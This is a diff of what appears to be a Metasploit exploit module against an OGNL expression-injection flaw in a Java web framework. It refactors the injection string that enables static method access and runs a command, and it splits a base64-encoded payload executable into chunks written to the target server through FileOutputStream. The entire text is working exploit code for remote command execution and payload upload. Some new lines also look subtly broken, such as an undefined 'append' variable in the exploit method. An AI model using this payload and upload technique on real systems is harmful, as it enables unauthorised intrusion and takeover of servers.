@@ -73,19 +73,21 @@ def initialize(info = {})
73
73
OptEnum . new ( 'HTTPMETHOD' , [ true , 'Which HTTP Method to use, GET or POST' , 'GET' , [ 'GET' , 'POST' ] ] ) ,
74
74
OptInt . new ( 'CHECK_SLEEPTIME' , [ true , 'The time, in seconds, to ask the server to sleep while check' , 5 ] )
75
75
] , self . class )
76
+
77
+ #initialise some base vars
78
+ @inject = "${#_memberAccess[\" allowStaticMethodAccess\" ]=true,CMD}"
79
+ @java_upload_part_cmd = "#f=new java.io.FileOutputStream('FILENAME',APPEND),#f.write(new sun.misc.BASE64Decoder().decodeBuffer('BUFFER')), #f.close()"
76
80
end
77
81
78
82
def execute_command ( cmd , opts = { } )
79
- inject = "${#_memberAccess[\" allowStaticMethodAccess\" ]=true,CMD}"
80
- inject . gsub! ( /CMD/ , cmd )
83
+ inject_string = @inject . gsub ( /CMD/ , cmd )
81
84
uri = normalize_uri ( target_uri . path )
82
85
req_hash = { 'uri' => uri , 'version' => '1.1' , 'method' => datastore [ 'HTTPMETHOD' ] }
83
-
84
86
case datastore [ 'HTTPMETHOD' ]
85
87
when 'POST'
86
- req_hash . merge! ( { 'vars_post' => { datastore [ 'PARAMETER' ] => inject } } )
88
+ req_hash . merge! ( { 'vars_post' => { datastore [ 'PARAMETER' ] => inject_string } } )
87
89
when 'GET'
88
- req_hash . merge! ( { 'vars_get' => { datastore [ 'PARAMETER' ] => inject } } )
90
+ req_hash . merge! ( { 'vars_get' => { datastore [ 'PARAMETER' ] => inject_string } } )
89
91
end
90
92
91
93
# Display a nice "progress bar" instead of message spam
@@ -133,16 +135,18 @@ def exploit
133
135
end
134
136
135
137
print_status ( "Preparing payload..." )
136
- #Now with all the arch specific stuff set, perform the upload.
137
- #161 = length of cmd string from "java_upload_part" method plus the max length of the boolean value append and the length of the inject string.
138
- #Need to calculate 161.
139
- sub_from_chunk = 161 + @payload_exe . length + normalize_uri ( target_uri . path ) . length + datastore [ 'PARAMETER' ] . length
138
+ # Now with all the arch specific stuff set, perform the upload.
139
+ # Need to calculate amount to allocate for non-dynamic parts of the URL.
140
+ # Fixed strings are tokens used for substitutions.
141
+ sub_from_chunk = append . length + ( @java_upload_part_cmd . length - "FILENAME" . length - "APPEND" . length - "BUFFER" . length )
142
+ sub_from_chunk += ( @inject . length - "CMD" . length ) + @payload_exe . length + normalize_uri ( target_uri . path ) . length + datastore [ 'PARAMETER' ] . length
140
143
case datastore [ 'HTTPMETHOD' ]
141
144
when 'GET'
142
- chunk_length = 2048 - sub_from_chunk
145
+ chunk_length = 2048 - sub_from_chunk # Using the max request length of 2048 for IIS, subtract all the "static" URL items.
146
+ #This lets us know the length remaining for our base64'd payloads
143
147
chunk_length = ( ( chunk_length /4 ) . floor ) *3
144
148
when 'POST'
145
- chunk_length = 65535 # Just set this to an arbitrarily large value, as its a post request we don't care about size.
149
+ chunk_length = 65535 # Just set this to an arbitrarily large value, as its a post request we don't care about the size of the URL anymore .
146
150
end
147
151
@notify_flag = 0
148
152
while pl_exe . length > chunk_length
@@ -159,10 +163,9 @@ def exploit
159
163
end
160
164
161
165
def java_upload_part ( part , filename , append = 'false' )
162
- cmd = ""
163
- cmd << "#f=new java.io.FileOutputStream('#{ filename } ',#{ append } ),"
164
- cmd << "#f.write(new sun.misc.BASE64Decoder().decodeBuffer('#{ Rex ::Text . encode_base64 ( part ) } ')),"
165
- cmd << "#f.close()"
166
+ cmd = @java_upload_part_cmd . gsub ( /FILENAME/ , filename )
167
+ cmd = cmd . gsub! ( /APPEND/ , append )
168
+ cmd = cmd . gsub! ( /BUFFER/ , Rex ::Text . encode_base64 ( part ) )
166
169
execute_command ( cmd )
167
170
end
168
171
0 commit comments